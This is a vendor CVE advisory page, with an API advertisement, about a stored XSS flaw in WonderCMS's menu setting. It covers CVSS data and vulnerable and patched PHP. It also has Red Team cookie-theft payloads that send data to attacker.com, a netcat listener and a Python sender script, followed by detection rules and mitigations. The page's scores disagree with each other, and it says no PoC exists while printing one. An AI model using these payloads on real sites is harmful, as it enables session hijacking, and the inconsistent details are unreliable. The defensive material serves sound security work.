☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-32746

CVE-2024-32746 Cross-Site Scripting in Wondercms
📅 PUBLISHED: 2024-04-17 00:00 UTC 🔄 UPDATED: 2026-09-23 20:34 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.45%
👁️
0.45% probability
11.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
4.6
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-32746 is a stored Cross-Site Scripting (XSS) vulnerability discovered in WonderCMS v3.4.3, specifically within the Settings section under the Menu module. An attacker can inject arbitrary web scripts or HTML into the MENU parameter, which is then stored and executed in the context of an administrator's browser session. This can lead to session hijacking, credential theft, or defacement. The vulnerability is publicly known, but no official patch has been released by the vendor as of this report.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

WonderCMS is a flat-file PHP content management system distributed via GitHub and its official website. There is no NPM, PyPI, Go, or Ruby package associated with this CMS. The risk is limited to direct installations of the vulnerable version (3.4.3). Users should monitor the official repository for any future patches.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.1 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: Required (admin must visit the Settings page)
  • Scope: Changed
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

Threat Level: Medium. Exploitation requires social engineering to lure an admin to a crafted link, but the impact can be severe if combined with privilege escalation.

Deep Dive & Mechanics

The vulnerability resides in the menu parameter within the Settings section of WonderCMS. The application fails to sanitize or escape user input before storing it in the database (flat-file JSON). When the admin views the Settings page, the stored payload is rendered without proper encoding, allowing arbitrary JavaScript execution.

Root Cause: Lack of output encoding in the menu parameter rendering. The code likely uses echo $menu; or similar without htmlspecialchars().

Attack Flow:

  1. Attacker crafts a malicious URL: http://target.com/settings?menu=<script>alert(1)</script>
  2. Admin clicks the link (or is tricked via CSRF).
  3. The payload is stored in the CMS configuration.
  4. When the admin navigates to the Settings page, the script executes in their browser.
  5. Attacker can steal session cookies, perform actions on behalf of the admin, or deface the site.

Vulnerable vs. Patched Code

Vulnerable Code (WonderCMS v3.4.3):

// In settings.php or similar
$menu = $_GET['menu'] ?? '';
// ... save to config file
// When rendering:
echo "<div class='menu'>$menu</div>";

Patched Code (Hypothetical):

$menu = htmlspecialchars($_GET['menu'] ?? '', ENT_QUOTES, 'UTF-8');
// ... save to config file
// When rendering:
echo "<div class='menu'>$menu</div>";

Key Difference: The patched version uses htmlspecialchars() to encode HTML entities, preventing script injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • WonderCMS v3.4.3 installed
  • Admin session (or ability to lure admin)

Exploit Payload:

<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>

Step-by-Step:

  1. Host a listener: nc -lvnp 80
  2. Craft URL: http://target.com/settings?menu=<script>new Image().src='http://attacker.com/steal?c='+document.cookie</script>
  3. Send to admin via phishing email or social media.
  4. When admin visits Settings, cookie is exfiltrated.

Automated Exploit (Python):

import requests

target = "http://target.com"
payload = "<script>fetch('http://attacker.com/steal?c='+document.cookie)</script>"
url = f"{target}/settings?menu={payload}"
# Requires admin session cookie
cookies = {"PHPSESSID": "admin_session"}
r = requests.get(url, cookies=cookies)
print("Payload sent. Check listener.")

Blue Team

Detection:

  • Monitor for unusual menu parameter values containing <script>, <img>, or onerror events.
  • Alert on outbound connections to unknown domains from admin browsers.

Hunting Query (Splunk):

index=web sourcetype=access_combined uri_path="/settings" uri_query=*menu*
| rex field=uri_query "menu=(?<menu_param>.*)"
| where match(menu_param, "<script|<img|onerror|onload")
| table _time, src_ip, uri_query, menu_param

Mitigation:

  • Apply input validation and output encoding.
  • Use Content Security Policy (CSP) headers.
  • Restrict admin access to trusted IPs.

Indicators of Compromise (IOCs)

  • Network:
    • Outbound HTTP requests to attacker-controlled domains from admin browsers.
    • Suspicious menu parameter values in logs: <script>, <img src=x onerror=...>, javascript:.
  • File:
    • Modified config.php or settings.json containing script tags.
  • Behavioral:
    • Admin session cookies being sent to external IPs.
    • Unexpected changes to site content or settings.

Detection Engineering

YARA Rule

rule CVE_2024_32746_WonderCMS_XSS {
    meta:
        description = "Detects XSS payload in WonderCMS menu parameter"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-32746"
    strings:
        $xss_payload = /menu=<[^>]*script[^>]*>/
        $xss_event = /menu=<[^>]*on\w+\s*=[^>]*>/
    condition:
        any of them
}

Sigma Rule

title: WonderCMS Menu Parameter XSS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects XSS attempts against WonderCMS menu parameter
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: GET
        cs-uri-query|contains: "menu="
    keywords:
        - "<script"
        - "<img"
        - "onerror"
        - "onload"
        - "javascript:"
    condition: selection and keywords
falsepositives:
    - Legitimate use of HTML in menu (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-32746 WonderCMS XSS Attempt"; flow:to_server; content:"/settings"; http_uri; content:"menu="; http_uri; pcre:"/menu=<[^>]*(script|on\w+\s*=)/Ui"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade: If a patched version becomes available, upgrade immediately.
  2. Manual Patch: Edit the vulnerable file (likely settings.php) and wrap the $menu variable with htmlspecialchars().
  3. WAF Rule: Deploy a Web Application Firewall rule to block menu parameter containing <script> or event handlers.
  4. CSP Header: Add Content-Security-Policy: script-src 'self' to prevent inline script execution.

Long-Term:

  • Implement a security review process for all user inputs.
  • Use parameterized output encoding consistently.
  • Monitor the WonderCMS GitHub repository for official patches.

Valters IT Signature:

Valters IT
Senior DevSecOps Engineer
Cyber Threat Intelligence Analyst
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-32746/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.